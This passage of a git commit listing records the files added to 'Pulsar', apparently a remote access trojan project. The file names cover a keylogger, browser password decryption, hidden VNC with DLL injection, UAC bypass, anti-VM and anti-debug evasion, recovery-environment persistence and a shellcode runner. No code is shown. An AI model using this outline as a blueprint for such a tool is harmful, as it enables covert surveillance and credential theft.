| Bin 0 -> 6148 bytes Pulsar.Server/Properties/AssemblyInfo.cs | 34 + Pulsar.Server/Properties/Resources.resx | 483 ++++ Pulsar.Server/Properties/Settings.Designer.cs | 26 + Pulsar.Server/Pulsar.Server.csproj | 341 +++ Pulsar.Server/Registry/RegValueHelper.cs | 44 + Pulsar.Server/Resources/add.png | Bin 0 -> 733 bytes Pulsar.Server/Resources/anchor.png | Bin 0 -> 523 bytes .../Resources/application_osx_terminal.png | Bin 0 -> 405 bytes .../application_view_xp_terminal.png | Bin 0 -> 359 bytes Pulsar.Server/Resources/bell.png | Bin 0 -> 789 bytes Pulsar.Server/Resources/bullet_green.png | Bin 0 -> 295 bytes Pulsar.Server/Resources/bullet_red.png | Bin 0 -> 287 bytes Pulsar.Server/Resources/chart_curve.png | Bin 0 -> 514 bytes Pulsar.Server/Resources/clear.png | Bin 0 -> 15439 bytes .../Resources/clipboard_paste_image.png | Bin 0 -> 556 bytes Pulsar.Server/Resources/cog.png | Bin 0 -> 686 bytes Pulsar.Server/Resources/cog1.png | Bin 0 -> 512 bytes Pulsar.Server/Resources/cog_add.png | Bin 0 -> 814 bytes Pulsar.Server/Resources/cog_delete.png | Bin 0 -> 847 bytes Pulsar.Server/Resources/computer_error.png | Bin 0 -> 784 bytes Pulsar.Server/Resources/computer_go.png | Bin 0 -> 777 bytes Pulsar.Server/Resources/disconnect.png | Bin 0 -> 776 bytes Pulsar.Server/Resources/eraser.png | Bin 0 -> 82674 bytes Pulsar.Server/Resources/gd1515.bmp | Bin 0 -> 1038 bytes Pulsar.Server/Resources/gd2020.bmp | Bin 0 -> 1738 bytes Pulsar.Server/Resources/icon.ico | Bin 0 -> 32038 bytes Pulsar.Server/Resources/images.png | Bin 0 -> 562 bytes Pulsar.Server/Resources/map.png | Bin 0 -> 611 bytes Pulsar.Server/Resources/money_dollar.png | Bin 0 -> 630 bytes Pulsar.Server/Resources/mouse.png | Bin 0 -> 745 bytes .../neon-green-dot-hi-3027026726.bmp | Bin 0 -> 4234 bytes Pulsar.Server/Resources/no-previewbmp.bmp | Bin 0 -> 280830 bytes .../Resources/nopreviewbest_cropped.jpg | Bin 0 -> 94423 bytes Pulsar.Server/Resources/pencil.png | Bin 0 -> 44765 bytes Pulsar.Server/Resources/phone.png | Bin 0 -> 488 bytes Pulsar.Server/Resources/ruby.png | Bin 0 -> 592 bytes Pulsar.Server/Resources/script_code.png | Bin 0 -> 859 bytes Pulsar.Server/Resources/sound.png | Bin 0 -> 610 bytes Pulsar.Server/Resources/status_online.png | Bin 0 -> 722 bytes Pulsar.Server/Resources/user_thief.png | Bin 0 -> 644 bytes Pulsar.Server/Resources/wait.png | Bin 0 -> 758 bytes Pulsar.Server/Resources/webcam.png | Bin 0 -> 728 bytes Pulsar.Server/Resources/wrench.png | Bin 0 -> 610 bytes .../ReverseProxy/ReverseProxyClient.cs | 519 ++++ .../ReverseProxy/ReverseProxyServer.cs | 170 ++ Pulsar.Server/Statistics/ClientGeoSnapshot.cs | 73 + .../Statistics/ClientGeoStatisticsService.cs | 264 ++ .../Statistics/ClientStatisticsService.cs | 122 + .../Statistics/ClientStatisticsSnapshot.cs | 104 + Pulsar.Server/TelegramSender/send.cs | 67 + Pulsar.Server/Utilities/.DS_Store | Bin 0 -> 6148 bytes Pulsar.Server/Utilities/FrameCounter.cs | 60 + .../Utilities/ListViewColumnSorter.cs | 141 + Pulsar.Server/Utilities/ListViewExtensions.cs | 58 + Pulsar.Server/Utilities/NativeMethods.cs | 54 + .../Utilities/PluginPackageImporter.cs | 32 + Pulsar.Server/Utilities/ServerVersion.cs | 9 + Pulsar.Server/app.config | 31 + Pulsar.Server/app.manifest | 42 + Pulsar.Server/build-donut.bat | 38 + Pulsar.sln | 128 + README.md | 187 ++ ROADMAP.md | 31 + Updating_Clients.md | 58 + 1038 files changed, 109261 insertions(+) create mode 100644 .DS_Store create mode 100644 .gitattributes create mode 100644 .github/.DS_Store create mode 100644 .github/ISSUE_TEMPLATE/bug_report.yaml create mode 100644 .github/ISSUE_TEMPLATE/feature_request.yaml create mode 100644 .github/workflows/dotnet.yml create mode 100644 .github/workflows/mirror.yml create mode 100644 .gitignore create mode 100644 .gitlab-ci.yml create mode 100644 .gitmodules create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTING.md create mode 100644 FAQ.md create mode 100644 HVNCInjection/HVNCInjection.vcxproj create mode 100644 HVNCInjection/HVNCInjection.vcxproj.filters create mode 100644 HVNCInjection/src/.DS_Store create mode 100644 HVNCInjection/src/MinHook.h create mode 100644 HVNCInjection/src/NtApiHooks.c create mode 100644 HVNCInjection/src/NtApiHooks.h create mode 100644 HVNCInjection/src/NtApiHooksConfig.h create mode 100644 HVNCInjection/src/ReflectiveDLLInjection.h create mode 100644 HVNCInjection/src/ReflectiveDll.c create mode 100644 HVNCInjection/src/ReflectiveLoader.h create mode 100644 HVNCInjection/src/libMinHook.x64.lib create mode 100644 Images/build_solution.png create mode 100644 Images/build_with_donut.png create mode 100644 Images/disabled_shellcode.png create mode 100644 Images/download_donut.png create mode 100644 Images/file_manager.png create mode 100644 Images/move_to_bin.png create mode 100644 Images/open_project.png create mode 100644 Images/remote_desktop.png create mode 100644 Images/remote_shell.png create mode 100644 Images/select_config.png create mode 100644 LICENSE create mode 100644 Licenses/Be.HexEditor_license.txt create mode 100644 Licenses/BouncyCastle_license.html create mode 100644 Licenses/GlobalMouseKeyHook_license.txt create mode 100644 Licenses/Mono.Cecil_license.txt create mode 100644 Licenses/Open.Nat_license.txt create mode 100644 Licenses/ResourceLib_license.txt create mode 100644 Licenses/SilkIcons_license.txt create mode 100644 Licenses/protobuf-net_license.txt create mode 100644 Plugins/README.md create mode 100644 Pulsar.Client/.DS_Store create mode 100644 Pulsar.Client/Anti/.DS_Store create mode 100644 Pulsar.Client/Anti/AniDebug/AntiDebug.cs create mode 100644 Pulsar.Client/Anti/Helper/Delegates.cs create mode 100644 Pulsar.Client/Anti/Helper/Structs.cs create mode 100644 Pulsar.Client/Anti/Helper/Utils.cs create mode 100644 Pulsar.Client/Anti/Injection/AntiInjection.cs create mode 100644 Pulsar.Client/Anti/Manager.cs create mode 100644 Pulsar.Client/Anti/VM/AntiVM.cs create mode 100644 Pulsar.Client/App.config create mode 100644 Pulsar.Client/Config/Settings.cs create mode 100644 Pulsar.Client/Extensions/KeyExtensions.cs create mode 100644 Pulsar.Client/Extensions/ProcessExtensions.cs create mode 100644 Pulsar.Client/Extensions/RegistryKeyExtensions.cs create mode 100644 Pulsar.Client/FodyWeavers.xml create mode 100644 Pulsar.Client/FodyWeavers.xsd create mode 100644 Pulsar.Client/FrmRemoteChat.Designer.cs create mode 100644 Pulsar.Client/FrmRemoteChat.cs create mode 100644 Pulsar.Client/FrmRemoteChat.resx create mode 100644 Pulsar.Client/FunStuff/.DS_Store create mode 100644 Pulsar.Client/FunStuff/BSOD.cs create mode 100644 Pulsar.Client/FunStuff/ChangeWallpaper.cs create mode 100644 Pulsar.Client/FunStuff/HideTaskbar.cs create mode 100644 Pulsar.Client/FunStuff/KeyboardInput.cs create mode 100644 Pulsar.Client/FunStuff/MonitorsOff.cs create mode 100644 Pulsar.Client/FunStuff/OpenCloseCDTray.cs create mode 100644 Pulsar.Client/FunStuff/ShellcodeRunner.cs create mode 100644 Pulsar.Client/FunStuff/SwapMouseButtons.cs create mode 100644 Pulsar.Client/Helper/.DS_Store create mode 100644 Pulsar.Client/Helper/DateTimeHelper.cs create mode 100644 Pulsar.Client/Helper/DumpHelper.cs create mode 100644 Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs create mode 100644 Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs create mode 100644 Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs create mode 100644 Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs create mode 100644 Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs create mode 100644 Pulsar.Client/Helper/HVNC/CloneProgressForm.cs create mode 100644 Pulsar.Client/Helper/HVNC/CloneProgressForm.resx create mode 100644 Pulsar.Client/Helper/HVNC/HandleHijacker.cs create mode 100644 Pulsar.Client/Helper/HVNC/ImageHandler.cs create mode 100644 Pulsar.Client/Helper/HVNC/InputHandler.cs create mode 100644 Pulsar.Client/Helper/HVNC/KDOTInjector.cs create mode 100644 Pulsar.Client/Helper/HVNC/ProcessController.cs create mode 100644 Pulsar.Client/Helper/JsonHelper.cs create mode 100644 Pulsar.Client/Helper/NativeMethodsHelper.cs create mode 100644 Pulsar.Client/Helper/RegistryKeyHelper.cs create mode 100644 Pulsar.Client/Helper/RunPE.cs create mode 100644 Pulsar.Client/Helper/ScreenStuff/.DS_Store create mode 100644 Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/.DS_Store create mode 100644 Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopDuplicationException.cs create mode 100644 Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs create mode 100644 Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs create mode 100644 Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs create mode 100644 Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs create mode 100644 Pulsar.Client/Helper/SystemElevation.cs create mode 100644 Pulsar.Client/Helper/SystemHelper.cs create mode 100644 Pulsar.Client/Helper/TaskManager/TaskManager.cs create mode 100644 Pulsar.Client/Helper/UAC/Bypass.cs create mode 100644 Pulsar.Client/Helper/UAC/UACToggle.cs create mode 100644 Pulsar.Client/Helper/WebcamHelper.cs create mode 100644 Pulsar.Client/Helper/WinRE/WinRE.cs create mode 100644 Pulsar.Client/IO/.DS_Store create mode 100644 Pulsar.Client/IO/BatchFile.cs create mode 100644 Pulsar.Client/IO/Shell.cs create mode 100644 Pulsar.Client/IpGeoLocation/.DS_Store create mode 100644 Pulsar.Client/IpGeoLocation/GeoInformation.cs create mode 100644 Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs create mode 100644 Pulsar.Client/IpGeoLocation/GeoResponse.cs create mode 100644 Pulsar.Client/Logging/Keylogger.cs create mode 100644 Pulsar.Client/Logging/KeyloggerService.cs create mode 100644 Pulsar.Client/Messages/.DS_Store create mode 100644 Pulsar.Client/Messages/AudioHandler.cs create mode 100644 Pulsar.Client/Messages/AudioOutputHandler.cs create mode 100644 Pulsar.Client/Messages/ClientServicesHandler.cs create mode 100644 Pulsar.Client/Messages/CommandHandler.cs create mode 100644 Pulsar.Client/Messages/DeferredAssemblyHandler.cs create mode 100644 Pulsar.Client/Messages/FileManagerHandler.cs create mode 100644 Pulsar.Client/Messages/FunStuffHandler.cs create mode 100644 Pulsar.Client/Messages/HVNCHandler.cs create mode 100644 Pulsar.Client/Messages/KeyloggerHandler.cs create mode 100644 Pulsar.Client/Messages/MessageBoxHandler.cs create mode 100644 Pulsar.Client/Messages/NotificationMessageProcessor.cs create mode 100644 Pulsar.Client/Messages/PasswordRecoveryHandler.cs create mode 100644 Pulsar.Client/Messages/PingHandler.cs create mode 100644 Pulsar.Client/Messages/PreviewHandler.cs create mode 100644 Pulsar.Client/Messages/QueryHandler.cs create mode 100644 Pulsar.Client/Messages/QuickCommandHandler.cs create mode 100644 Pulsar.Client/Messages/RegistryHandler.cs create mode 100644 Pulsar.Client/Messages/RemoteChatHandler.cs create mode 100644 Pulsar.Client/Messages/RemoteDesktopHandler.cs create mode 100644 Pulsar.Client/Messages/RemoteScriptingHandler.cs create mode 100644 Pulsar.Client/Messages/RemoteShellHandler.cs create mode 100644 Pulsar.Client/Messages/RemoteWebcamHandler.cs create mode 100644 Pulsar.Client/Messages/ReverseProxyHandler.cs create mode 100644 Pulsar.Client/Messages/ShutdownHandler.cs create mode 100644 Pulsar.Client/Messages/StartupManagerHandler.cs create mode 100644 Pulsar.Client/Messages/SystemInformationHandler.cs create mode 100644 Pulsar.Client/Messages/TaskManagerHandler.cs create mode 100644 Pulsar.Client/Messages/TcpConnectionsHandler.cs create mode 100644 Pulsar.Client/Messages/WallpaperHandler.cs create mode 100644 Pulsar.Client/Messages/WebsiteVisitorHandler.cs create mode 100644 Pulsar.Client/Messages/WinREPersistenceHandler.cs create mode 100644 Pulsar.Client/Networking/Client.cs create mode 100644 Pulsar.Client/Networking/PulsarClient.cs create mode 100644 Pulsar.Client/Plugins/IClientPlugin.cs create mode 100644 Pulsar.Client/Program.cs create mode 100644 Pulsar.Client/Properties/.DS_Store create mode 100644 Pulsar.Client/Properties/AssemblyInfo.cs create mode 100644 Pulsar.Client/Properties/Resources.resx create mode 100644 Pulsar.Client/Properties/Settings.Designer.cs create mode 100644 Pulsar.Client/Properties/Settings.settings create mode 100644 Pulsar.Client/Pulsar.Client.csproj create mode 100644 Pulsar.Client/PulsarApplication.cs create mode 100644 Pulsar.Client/Recovery/.DS_Store create mode 100644 Pulsar.Client/Recovery/Browsers/ChromiumBase.cs create mode 100644 Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs create mode 100644 Pulsar.Client/Recovery/Browsers/FFDecryptor.cs create mode 100644 Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs create mode 100644 Pulsar.Client/Recovery/Browsers/Structs.cs create mode 100644 Pulsar.Client/Recovery/Crawler/Crawl.cs create mode 100644 Pulsar.Client/Recovery/Utilities/BCrypt.cs create mode 100644 Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs create mode 100644 Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs create mode 100644 Pulsar.Client/Recovery/Utilities/Xeno/.DS_Store create mode 100644 Pulsar.Client/Recovery/Utilities/Xeno/FileHandlerXeno.cs create mode 100644 Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs create mode 100644 Pulsar.Client/Registry/RegistryEditor.cs create mode 100644 Pulsar.Client/Registry/RegistrySeeker.cs create mode 100644 Pulsar.Client/ReverseProxy/ReverseProxyClient.cs create mode 100644 Pulsar.Client/Setup/ClientInstaller.cs create mode 100644 Pulsar.Client/Setup/ClientSetupBase.cs create mode 100644 Pulsar.Client/Setup/ClientStartup.cs create mode 100644 Pulsar.Client/Setup/ClientUninstaller.cs create mode 100644 Pulsar.Client/Setup/ClientUpdater.cs create mode 100644 Pulsar.Client/UniversalDebugAPI/Logger.cs create mode 100644 Pulsar.Client/User/.DS_Store create mode 100644 Pulsar.Client/User/ActiveWindowChecker.cs create mode 100644 Pulsar.Client/User/ActivityDetection.cs create mode 100644 Pulsar.Client/User/UserAccount.cs create mode 100644 Pulsar.Client/Utilities/.DS_Store create mode 100644 Pulsar.Client/Utilities/DebugLog.cs create mode 100644 Pulsar.Client/Utilities/NativeMethods.cs create mode 100644 Pulsar.Client/Utilities/ScreenOverlay.cs create mode 100644 Pulsar.Client/Utilities/SingleInstanceMutex.cs create mode 100644 Pulsar.Client/app.manifest create mode 100644 Pulsar.Common.Tests/.DS_Store create mode 100644 Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs create mode 100644 Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs create mode 100644 Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs create mode 100644 Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs create mode 100644 Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs create mode 100644 Pulsar.Common.Tests/Properties/AssemblyInfo.cs create mode 100644 Pulsar.Common.Tests/Pulsar.Common.Tests.csproj create mode 100644 Pulsar.Common/.DS_Store create mode 100644 Pulsar.Common/Cryptography/.DS_Store create mode 100644 Pulsar.Common/Cryptography/AesGcmCng.cs create mode 100644 Pulsar.Common/Cryptography/ByteRotationObfuscator.cs create mode 100644 Pulsar.Common/Cryptography/SafeComparison.cs create mode 100644 Pulsar.Common/Cryptography/Sha256.cs create mode 100644 Pulsar.Common/DNS/.DS_Store create mode 100644 Pulsar.Common/DNS/Host.cs create mode 100644 Pulsar.Common/DNS/HostsConverter.cs create mode 100644 Pulsar.Common/DNS/HostsManager.cs create mode 100644 Pulsar.Common/DNS/WebClientExtensions.cs create mode 100644 Pulsar.Common/Enums/AccountType.cs create mode 100644 Pulsar.Common/Enums/ConnectionState.cs create mode 100644 Pulsar.Common/Enums/ContentType.cs create mode 100644 Pulsar.Common/Enums/FileType.cs create mode 100644 Pulsar.Common/Enums/KematianStatus.cs create mode 100644 Pulsar.Common/Enums/MouseAction.cs create mode 100644 Pulsar.Common/Enums/ProcessAction.cs create mode 100644 Pulsar.Common/Enums/RemoteDesktopState.cs create mode 100644 Pulsar.Common/Enums/ShutdownAction.cs create mode 100644 Pulsar.Common/Enums/StartupType.cs create mode 100644 Pulsar.Common/Enums/UserStatus.cs create mode 100644 Pulsar.Common/Extensions/DriveTypeExtensions.cs create mode 100644 Pulsar.Common/Extensions/SocketExtensions.cs create mode 100644 Pulsar.Common/Extensions/StringExtensions.cs create mode 100644 Pulsar.Common/Helpers/ClipboardHelper.cs create mode 100644 Pulsar.Common/Helpers/FileHelper.cs create mode 100644 Pulsar.Common/Helpers/PlatformHelper.cs create mode 100644 Pulsar.Common/Helpers/StringHelper.cs create mode 100644 Pulsar.Common/IO/FileSplit.cs create mode 100644 Pulsar.Common/Messages/.DS_Store create mode 100644 Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs create mode 100644 Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs create mode 100644 Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs create mode 100644 Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs create mode 100644 Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs create mode 100644 Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs create mode 100644 Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs create mode 100644 Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs create mode 100644 Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs create mode 100644 Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs create mode 100644 Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs create mode 100644 Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs create mode 100644 Pulsar.Common/Messages/Audio/GetMicrophone.cs create mode 100644 Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs create mode 100644 Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs create mode 100644 Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs create mode 100644 Pulsar.Common/Messages/Audio/GetOutput.cs create mode 100644 Pulsar.Common/Messages/Audio/GetOutputDevice.cs create mode 100644 Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs create mode 100644 Pulsar.Common/Messages/Audio/GetOutputResponse.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs create mode 100644 Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoBSOD.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs create mode 100644 Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs create mode 100644 Pulsar.Common/Messages/GetDebugLog.cs create mode 100644 Pulsar.Common/Messages/MessageHandler.cs create mode 100644 Pulsar.Common/Messages/Monitoring/.DS_Store create mode 100644 Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs create mode 100644 Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs create mode 100644 Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs create mode 100644 Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs create mode 100644 Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs create mode 100644 Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs create mode 100644 Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs create mode 100644 Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs create mode 100644 Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs create mode 100644 Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs create mode 100644 Pulsar.Common/Messages/Other/ClientIdentification.cs create mode 100644 Pulsar.Common/Messages/Other/ClientIdentificationResult.cs create mode 100644 Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs create mode 100644 Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs create mode 100644 Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs create mode 100644 Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs create mode 100644 Pulsar.Common/Messages/Other/IMessage.cs create mode 100644 Pulsar.Common/Messages/Other/IMessageProcessor.cs create mode 100644 Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs create mode 100644 Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs create mode 100644 Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs create mode 100644 Pulsar.Common/Messages/PingRequest.cs create mode 100644 Pulsar.Common/Messages/PingResponse.cs create mode 100644 Pulsar.Common/Messages/Preview/GetPreviewImage.cs create mode 100644 Pulsar.Common/Messages/Preview/GetPreviewResponse.cs create mode 100644 Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs create mode 100644 Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs create mode 100644 Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs create mode 100644 Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs create mode 100644 Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs create mode 100644 Pulsar.Common/Messages/SetStatus.cs create mode 100644 Pulsar.Common/Messages/SetUserActiveWindowStatus.cs create mode 100644 Pulsar.Common/Messages/SetUserClipboardStatus.cs create mode 100644 Pulsar.Common/Messages/SetUserStatus.cs create mode 100644 Pulsar.Common/Messages/TypeRegistry.cs create mode 100644 Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs create mode 100644 Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs create mode 100644 Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs create mode 100644 Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs create mode 100644 Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs create mode 100644 Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs create mode 100644 Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs create mode 100644 Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs create mode 100644 Pulsar.Common/Models/Drive.cs create mode 100644 Pulsar.Common/Models/FileChunk.cs create mode 100644 Pulsar.Common/Models/FileSystemEntry.cs create mode 100644 Pulsar.Common/Models/Kematian.cs create mode 100644 Pulsar.Common/Models/Process.cs create mode 100644 Pulsar.Common/Models/Query/Browsers.cs create mode 100644 Pulsar.Common/Models/RecoveredAccount.cs create mode 100644 Pulsar.Common/Models/RegSeekerMatch.cs create mode 100644 Pulsar.Common/Models/RegValueData.cs create mode 100644 